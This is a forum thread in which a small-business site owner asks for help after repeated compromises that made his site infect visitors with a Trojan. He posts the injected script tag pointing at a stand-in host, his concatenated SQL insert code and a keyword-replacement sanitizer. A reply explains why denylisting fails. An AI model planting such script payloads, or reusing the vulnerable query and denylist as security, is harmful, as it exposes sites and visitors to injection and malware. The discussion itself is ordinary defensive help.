Website hacked for third time!

and i'm getting hacked off. Please help

[Simon606]

My website has been hacked for the third time! This time I have had to take it offline because it was infecting visiting pc’s with a Trojan virus.

I’m getting really down about all this. Its hard enough trying to start an online business . I have little experience in website security and its obvious current security levels are not good enough. Are there any security experts out there who would be kind enough to look at my code below and give me an idea of where I am going wrong. Thanks.

Firstly here is the injection that was written to my MS SQL database:

<script src=http://www.example.com/ads.js></script>

It is NOT embedded in links BUT instead appears at the end of messages posted by my users. It has been added to messages that already existed In the database. It has not infected every database table though.

Below is the security code applied to all input areas of the website:

conn.Execute "insert into tbl ([groupnewsid], [thecomment], [submittedby], [groupid], [dateofcomment]) " _
& "values ('" _
& clng(request.querystring("nid")) & _
"','" & Server.HTMLEncode(cleanuptext(request.form("txtnewscomment"))) & _
"','" & clng(session("userid")) & _
"','" & clng(session("groupid")) & _
"','" & FormatMediumDate(date()) & "')"
session("errmessage2") = ""
session("varcomment") = ""
end if

And below is my cleanuptext function:

'validation allows only good characters and disallows bad strings
function cleanuptext(input)
newstr = ""
input = replace(input,vbcrlf,"CCCCCCC")
good_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789""`!£$%&*() _-+=:;@'#<>,.?/ "

for i = 1 to len(input)
c = mid(input, i, 1)
if (InStr(good_chars, c) = 0) then

else
newstr = newstr & c
end if
next

newstr = replace(newstr,"'","`")
newstr = replace(newstr,"--","")
newstr = replace(newstr,"XP_","")
newstr = replace(newstr,"xp_","")

newstr = replace(newstr,";","semicolon")
newstr = replace(newstr,"*","asterisk")
newstr = replace(newstr,"=","equals")
newstr = replace(newstr,"%","percentage")

newstr = replace(newstr,"script","scr1pt")
newstr = replace(newstr,"Script","Scr1pt")
newstr = replace(newstr,"SCRIPT","SCR1PT")
newstr = replace(newstr,"union","un10n")
newstr = replace(newstr,"Union","Un10n")
newstr = replace(newstr,"UNION","UN10N")
newstr = replace(newstr,"insert","1ns3rt")
newstr = replace(newstr,"Insert","Ins3rt")
newstr = replace(newstr,"INSERT","1NS3RT")
newstr = replace(newstr,"drop","dr0p")
newstr = replace(newstr,"Drop","Dr0p")
newstr = replace(newstr,"DROP","DR0P")
newstr = replace(newstr,"delete","d3l3t3")
newstr = replace(newstr,"Delete","D3l3t3")
newstr = replace(newstr,"DELETE","D3L3T3")
newstr = replace(newstr,"create","cr34t3")
newstr = replace(newstr,"Create","Cr34t3")
newstr = replace(newstr,"CREATE","CR34T3")
newstr = replace(newstr,"select","s3l3ct")
newstr = replace(newstr,"Select","S3l3ct")
newstr = replace(newstr,"SELECT","S3L3CT")
newstr = replace(newstr,"exec","3x3c")
newstr = replace(newstr,"Exec","Ex3c")
newstr = replace(newstr,"EXEC","3X3C")
newstr = replace(newstr,"cast","c4st")
newstr = replace(newstr,"Cast","C4st")
newstr = replace(newstr,"CAST","C4ST")
newstr = replace(newstr,"varchar","v4rch4r")
newstr = replace(newstr,"Varchar","V4rch4r")
newstr = replace(newstr,"VARCHAR","V4RCH4R")
newstr = replace(newstr,"declare","d3cl4r3")
newstr = replace(newstr,"Declare","D3cl4r3")
newstr = replace(newstr,"DECLARE","D3CL4R3")
newstr = replace(newstr,"object","obj3ct")
newstr = replace(newstr,"Object","Obj3ct")
newstr = replace(newstr,"OBJECT","OBJ3CT")
newstr = replace(newstr,"embed","emb3d")
newstr = replace(newstr,"Embed","Emb3d")
newstr = replace(newstr,"EMBED","EMB3D")
newstr = replace(newstr,"CCCCCCC", vbcrlf)

cleanuptext = newstr
end function

Could someone check the above code and tell me where i'm going wrong?

thanks

[edited by: Ocean10000 at 7:49 pm (utc) on Oct. 21, 2009]
[edit reason] Removing Direct link to Exploit Javascript [/edit]

[Receptional Andy]

There's no way you can keep track of every possible injection string. Instead, you need to prevent other people's queries from being appended directly to your own. Your script also modifies various words in common usage, something that is not necessary to prevent being hacked.

The most problematic strings are apostrophes, which can be used to terminate your own query, and append another.

There are a wealth of threads on SQL injection [google.com] on the site, this one particularly relevant:

Avoiding SQL injection attacks without the need to replace words [webmasterworld.com]